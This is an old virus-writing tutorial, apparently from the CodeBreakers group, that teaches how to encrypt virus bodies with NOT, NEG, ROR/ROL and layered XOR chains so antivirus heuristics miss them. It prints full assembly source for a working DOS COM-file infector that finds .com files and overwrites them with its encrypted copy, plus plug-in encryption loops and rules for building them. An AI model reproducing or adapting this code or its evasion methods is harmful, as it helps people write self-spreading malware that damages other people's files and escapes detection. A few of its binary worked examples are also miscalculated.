An effort to help the naked virus.
Part 2
By: Sea4

Well, I hope I have answered all your questions about XOR and why virii need to hide behind encryption in Part 1. Now for the fun part of encryption. Using everything besides XOR to change the bytes in your virii. XOR is good, and certainly has uses, but nowadays its been done to death, IMHO. It should be used with the other bit manipulators to form more complex, and hopefully undetectable algorithms for encrypting. A quick list might help get us started with the other useful instructions. Not, Neg, Ror, and rol are the ones I think are neccassary to viral survival, they must be used in certain ways though to allow proper decryption.

    NOT:

Its actually even more easy to understand than XOR but not used as much as I would like. Anyway... all it does is reverse the bits in an operand. So something like this:

    NOT  BL

Would change all the 1 bits from BL into 0 bits and vice versa. A small graph could help you understand it a bit more.

    BL = B4h = 180d = 10110100b

    NOT  101101000b     <-- Only requires one operand.
         ----------
         010010111b     <-- Result is placed in the same operand.

As you can see its quite simple to understand, anything that was 1 is now 0 and likewise, anything that was 0 is now 1. This is one of the easiest to put into encryption too, because it takes 1 operand ( the value you want to reverse ). Furthermore, you may realize that if you preform the NOT again you come out with your original value :).

We'll use the INT 21h instruction, to see what happens to it, because it is one of the more commonly used commands in virii. Lets assume AX has been set with the INT 21h command, and now its ready to be encrypted.

    NOT  AX

    AX = CD21h = 52513d = 11001101-00100001b

    NOT  11001101-00100001b  ; Original value of AX
         -------- --------
         00110010-11011110b  ; End result = AX = 3D2Eh = 15662d
         ^--AH--^ ^--AL--^

Now we go from CD21h to 3D2Eh in one simple command ( 2 bytes long ), and we change our 'INT 21h' into a harmless 'CMP AX,??2Eh' where ?? is the next byte in the progge. Thats all I have to say about NOT for now until we get to using all the instructions together. Thats where the real excitement begins.

* Here is an example virus written explicitly for this tutorial.
* Its shows how NOT AL can be implemented into a full fledged virus.

    -- Begin Virus --
    Start:
    jmp  Buffer         ; Skip encrypt on first run!
    ;mov  cx,End_virus-Hidden
    lea  si,Hidden
    mov  di,si
    call Encrypt
    jmp  Hidden

    Encrypt:            ; Encryption loop, this is the only thing
    lodsb               ; that needs changing between different encryption
    not  al             ; commands.
    stosb
    loop Encrypt
    ret

    Hidden:
    mov  ah,4Eh    ; Find COM files for infection
    Find_next:
    xor  cx,cx
    lea  dx,Filemask
    int  21h
    jnc  Open

    Exit:
    int  20h       ; Close down virus

    filemask  db   '*.com',0
    virus     db   '[Crypt]',0
    author    db   'Sea4, CodeBreakers',0

    Open:
    mov  ax,3D02h  ; Open File for read/write
    mov  dx,9Eh
    int  21h

    xchg bx,ax     ; Move file handle

    lea  dx,Start            ; Write the encryption routine
    mov  cx,Hidden-Start
    mov  ah,40h
    int  21h

    lea  di,Buffer           ; Encrypt virus to buffer
    lea  si,Hidden
    mov  cx,End_virus-Hidden
    push cx
    call Encrypt

    lea  dx,buffer           ; Write that buffer to victim
    pop  cx
    mov  ah,40h
    int  21h

    mov  ah,3eh              ; Close victim file
    int  21h

    mov  ah,4Fh              ; Find next COM file
    jmp  Find_next

    End_Virus:
    Buffer:
    lea  di,Start       ; Overwrites 'jmp Buffer' with 'mov cx,End_virus-Hidden'
    lea  si,New_Bytes
    movsw
    movsb
    jmp  Hidden

    New_Bytes:
    mov  cx,End_Virus-Hidden
    -- End of Virus --

    ROR/ROL:

We'll skip NEG for now and explain ROR, and ROL. Basically all they do is Rotate Right and Rotate Left. But you may ask, "Ummm, ok... I know WHERE they rotate, but WHAT do they rotate?". Its simple, they rotate bits... isn't that what we've been discussing? They take a value like 23h, and rotate the bits in it a specified # of places. The first operand is the one that will get rotated and the second is how many places it will be rotated. Again, lets use a short example.

    MOV  AL,23h    ; Loads AL with 23h
    ROR  AL,1      ; Rotates the bits in 23h, 1 place to the right.

Now for graphs...

    AL = 23h = 35d = 00100011b    ; We are gonna drop the 'b' in this example
                                  ; so it doesn't get in the way.
         00100011  ; 23h = 35d
    ROR                 ; Moves the Bytes '-->' 1 place
         --------
         10010001  ; 91h = 145d

         ^-- This bit came from the end of the other side, and since we are
         ROTATING the bits, it wraps around to the other side. Its almost as
         though the bits were on a wheel, if you imagine it in your head like
         that its very simple to understand.

Now, any Tom, Dick or Harry knows that the value of AL just changed, so in essence we encrypted the byte, and we could use the 'ROL AL,1' command to get back our original byte, but that would require another command. And more commands equal more bytes, and more bytes means our virus will be more noticable. Noticable is BAD! We do not like noticable ( *Hint*: thats why we are learning encryption in the first place! ). So how can we utilize the ROR/ROL commands without wasting bytes...? Simple, we make it so that the second operand is equal to 4!! "Why 4 places?" Well... look at the graphs.

    ROR AL,4  ; Rotates the bits four places

    AL = 23h = 35d = 00100011b ; AL's value

    ROL 4
         00100011       ; Starting number   ; 23h
         <--            ; Rol 1 place
         01000110       ; After 1 place     ; 46h
         <--            ; Rol 1 more place
         10001100       ; After 2 places    ; 8Ch
         <--            ; Rol 1 more place
         00011001       ; After 3 places    ; 19h
         <--            ; Last time ( here is the interesting part )
         00110010       ; After 4th place   ; 32h
                                              ^^--What happened here?

I am not sure if you noticed but the HEX number rotated 1 place. 23h has now become 32h, pretty fucking cool for our purposes. You may again be jumping ahead of me in saying that "If we do another 'ROL AL,4' we will get back the original value of AL!!". Well, you would be perfectly right in that assumption. If a byte is 8 bits, and we rotate 4 bits... thats halfway! And so if we rotate another 4 bits, we have rotated the whole byte getting back to the original bit positions AND our original value.

Rotating the first 4 bits is the encryption, and rotating the second 4 bits could be called the decryption. WOW! Like 'XOR AL,DL' ( in the first part of my encryption article ), and like the NOT command that we just did... the ROR/ROL instructions work twice the job with half the size. That is what we want!

Ok, heres the part of the previous example that changes...
Its not very much as you may notice.

    Encrypt:
    lodsb
    ror al,4
    stosb
    loop Encrypt
    ret
    ====================================
    or with ROL...

    Encrypt:
    lodsb rol al,4
    stosb
    loop Encrypt
    ret

    NEG:

To finish up the track we are on now, ( that is using one command for both encryption and decryption ), we are gonna cover the often forgotten NEG command. Like its sibling, the NOT command, it only uses 1 operand... the one we want to alter. Unlike NOT, and the other bit manipulators, it is based on value rather than the bits themselves. All it does is take the operand and subtract it from 00h ( or 0000h if it is a word [2 bytes] ). We have to use the graphs here because its hard to explain with words.

    MOV  AL,23h         ; Gives 23h to AL
    NEG  AL             ; Subtracts AL from 00h (or 100h to better visualize it)
                        ; and places the resulting value in AL.

AL = 23h = 35d = (binary doesn't matter here)

                        ; It doesn't matter which because a byte is only 2 places
         00h or 100h    ; any value outside those 2 places is ignored.
       - 23h   - 23h    ; Subtracts 23h ( Trust me! NEG works out at the end ).
         ---    ----
         DDh    0DDh    ; See? They both end up equal to DDh

Heres the decimal equivalant for those aren't very good with hex.

        256d       ; 256d = 100h ( or 00h when working with just 1 byte )
       - 35d       ; 35d  = 23h
         ---
        221d       ; 221d = DDh

"Well Sea, thats fucking great! Why the hell do I care?" Well, if you were paying close attention to the other commands ( NOT/ROR/ROL/XOR ) you would realize they all can be done twice to arrive at the original number. Now if thats true here, we have found another command that can preform encryption on first run, and decryption the second time. Lets see if good ol' NEG can do that:

         Decimal        Hex
         -------        ---
         256d           100h  or   00h  ; What NEG always subtracts from!
        -221d          - DDh  or  -DDh  ; The value we ended up with last time
         ----           ----       ---
          35d            23h       23h  ; The Number we started with

IT WORKED!!! Neg is a useful encryption instruction. Well... well... don't you owe me an apology, don't you?

And lastly here is an example section using NEG...

    Encrypt:
    lodsb
    neg  al
    stosb
    loop Encrypt
    ret

Hopefully you understand that each of those instructions does well by itself. Unfortunetly, there are times when they don't work. The command does what it should, but the resulting byte is the same as the one you started with. For example: ROR/ROL switch the hex characters from something like 23h to 32h by rotating four places... but with CCh, DDh, AAh, etc. the result is the not really encrypted. Another example is NEGing by 0 or 80h, if you do the proper math they both end up with their starting values. They may be rare, but they still happen. So what is there to do about such 'errors'?

I hope you figured it out! I may have mentioned it before, but if you combine 2 or more of these instructions they can have a great effect on the complexity of the encryption. How do you do it right though? Just slapping commands together is risky. You can do what I do and make a dual function De/Encryption loop. In the first part of my encryption tutorial I gave an example virus with the following loop:

    -- Start
    Encrypt:            ; This has been slightly modified to provide a better
                        ; understanding of what is going on.

    lodsb               ; Stores the byte from [SI] into AL ( I call it the
                        ; victim byte ), then increments SI.

    "encryption command"     ; This modifies AL with one of the following
                             ; encryption commands.
    ; not al
    ; neg al
    ; ror al,4
    ; rol al,4
    ; xor al,?? ( ?? can equal a value or a byte sized register )

    stosb               ; Stores AL into the byte at [DI] and then increments
                        ; DI.

    loop Encrypt        ; Decrements CX, then if CX is not 0 it jumps to the
                        ; specified location ( in this case 'EncLoop' ).

    ret                 ; Goes back to caller, the stack cannot be modified
                        ; because of this command.
    -- End

It only needs SI (where to get the bytes to encrypt), DI (where to put the encrypted bytes), and CX for the number of bytes. After it is called it does the encryption routine on the specified region, and jumps back to the caller. The outer parts with the 'loop' and such are basic things that will not need to be changed much with each different virus or encryption routine. Where it says "encryption command" is the important part.

We do what is called 'plugging in'... since the shell just holds the part we care about, we can take out, and put in what we want. There are a few criteria though.

1) Since the 'victim byte' is AL, the encryption commands should modify... You guessed it, AL!

2) Another thing is that the encryption should NOT modify CX, DI, SI or the Stack ( SP ) unless you know what you are doing.

3) The most important point for us though, is that we should be able to run the Encrypt loop on anything twice, and end up with the starting byte. This is important because we are gonna use the same loop to encrypt AND decrypt. Saves space and makes it look cool.

The commands 'NOT AL', and 'NEG AL' by themselves do that perfectly, but we already realized the need for more than one. So how do we get them to play nicely together? Its a simple idea, but hard to explain. I'll give you an easy example to start with, and explain it afterward.

    Not  al             ; Oposite bits of AL
    Neg  al             ; NEGs AL or ( NEGates AL )
    Not  al             ; Oposite bits of AL again

OK, pay close attention here! This meets the first criteria and the 2nd, but does it meet the 3rd? By itself its hard to see, but remember that this has to be run twice to check its validity, so lets pretend we ran it twice. It would look more like this then...

         First Run
    Not  AL
    Neg  AL
    Not  AL                  ; Byte is now encrypted
         Second Run
    Not  AL
    Neg  AL
    Not  AL                  ; Byte is now decrypted

"Who cares, it just does it twice... it encrypts it even more!" Not so! They cancel each other out! Here is a very important graph...

    Not AL *-----------|
    Neg AL    *------| |
    Not AL       *-| | |
    --             | | |
    Not AL       *-| | |
    Neg AL    *------| |
    Not AL *-----------|

The last command of the first run cancels the first command of the last run, and vice versa! And the middle commands cancel each other! Isn't it great. No matter what number goes through the first thing, it comes out encrypted, but after going through again, it becomes decrypted! Just follow the lines and review the last few paragraphs till you realize what is going on. Its kind of like stacking plates on top of each other to encrypt, and then taking them off in reverse order to decrypt.

Now to make sure you get the full impact of this, here is a larger example with the same type of graph, but this time if you look at it as canceling ITSELF, you can create loops as fast as you can type em.

    xor  al,C4h                        ; Start stacking the plates...
    |    neg  al
    |    |    ror  al,4
    |    |    |    xor  al,E3h
    |    |    |    |        *not  al   ; Last plate
    |    |    |    xor  al,E3h         ; Start taking em off
    |    |    ror  al,4
    |    neg  al
    xor  al,C4h

Now... how does it cancel itself. Notice that 'not al' is the only instruction that is not repeated. It is also the center of the routine. If you removed the 'not al' you would notice that the routine would do nothing at all to any victem byte, but since we have a command at the center that changes that, its works! So after running those 9 commands we get an ecrypted byte. After running them again the byte becomes decrypted. If you are gonna build a loop like this, try not to make it too long. Here are some basic rules...

1) Always have a center instruction
2) Make sure all the commands are reversible... like if you did them twice to the same byte, it would encrypt then decrypt.
3) Commands after the center command, should be in reverse order. Like above.
4) You shouldn't modify the stack, CX, SI, or DI unless you are sure.
5) Don't do the same command twice in a row, like...

         xor  al,4h
         xor  al,4h
         not  al
         xor  al,4h
         xor  al,4h

They just cancel each other out, and you really only end up encrypting with a 'not al'.

6) Another combination you shouldn't use is

         not  al
         xor  al,0FFh

XORing by FFh or FFFFh is the same as NOT. So this would be a waste.

Well thats all there is to know about how those instructions work, but now for how to put them into a virus. Above I showed you an example of a dual function, encryption/decryption loop... here is again for those of you not paying attention.

    :: Comments were removed ::
    -- Start
    Encrypt:
    lodsb

    "encryption command"
    ; not al
    ; neg al
    ; ror al,4
    ; rol al,4
    ; xor al,?? ( ?? can equal a value or a bytes sized register )

    stosb
    loop EncLoop
    ret
    -- End

Where it says "encryption command" is where you can put any combination of commands that fit the above rules. Just use the example virus from the section about NOT and plug in your encryption routine. Test it out and make sure it works.

Yup, that seems all you need to know to make more complex stuff than simple XOR. There are several advantages, like many more different possible encrypted versions, less likey that it will be recognized as a decryption routine by heuristics, and its more creative. Of course, we are not even half-way through what I know about encryption. Here are a few of the things I still want to teach:

1) More encrypting commands... SUB, ADD, and XCHG!
2) Encrypting word sized values with XOR, 65,535 different keys!!,
3) A little idea from a fellow CodeBreaker ( Aperson ), using the victem file's own bytes to encrypt against!
4) Using ROR/ROL with values other than 4!
5) Double and Triple level encryption!
6) That appending example I promised.
7) How to change the values used to XOR with, randomness, system clock, and the incremental way.